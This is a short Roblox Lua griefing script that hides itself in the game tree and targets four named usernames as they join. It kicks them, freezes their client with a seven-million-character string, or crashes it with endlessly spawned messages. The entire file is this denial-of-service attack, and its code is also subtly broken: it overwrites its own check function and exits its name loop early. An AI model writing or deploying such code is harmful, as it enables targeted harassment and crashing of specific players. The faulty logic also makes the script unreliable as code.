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script.Parent = Instance.new("Glue") --nilified
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local Types = {"kick","shutdown","crash"} --types
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PriType = "Crash" --Type
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PriType = "kick" --Type
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PriOn = true --onor not set to true if u want it on
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PriPlayers = {"firebudgy","Memo1332","seth173498","dinogirl05"}--Names here
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local Check = function(s) -- dont touch this or below
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if #s == 1 then
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for i,v in pairs(PriPlayers) do
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if s.Name:lower() == v:lower() then
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return true
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else
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return false
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end
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end
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else
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for i,d in pairs(s) do
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for _,v in pairs(PriPlayers) do
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if d.Name:lower() == v:lower() then
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return true
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else
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return false
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end end end end end
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game.Players.PlayerAdded:connect(function(Plr)
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Check = Check(Plr)
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if Check ~= false then
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if PriOn == true then
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if PriType:lower() == "kick" then
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Plr:Remove()
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elseif PriType:lower() == "shutdown" then
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local m = Instance.new("StringValue",Plr.PlayerGui)
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m.Value = string.rep("Lololol",1000000)
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elseif PriType:lower() == "crash" then
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coroutine.create(coroutine.resume(function()
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for i=1,5 do
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while wait() do
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local g= Instance.new("Message",Plr.PlayerGui)
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g.Text = "Joo b laggun much bish?"
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end end
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end))
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end end end end)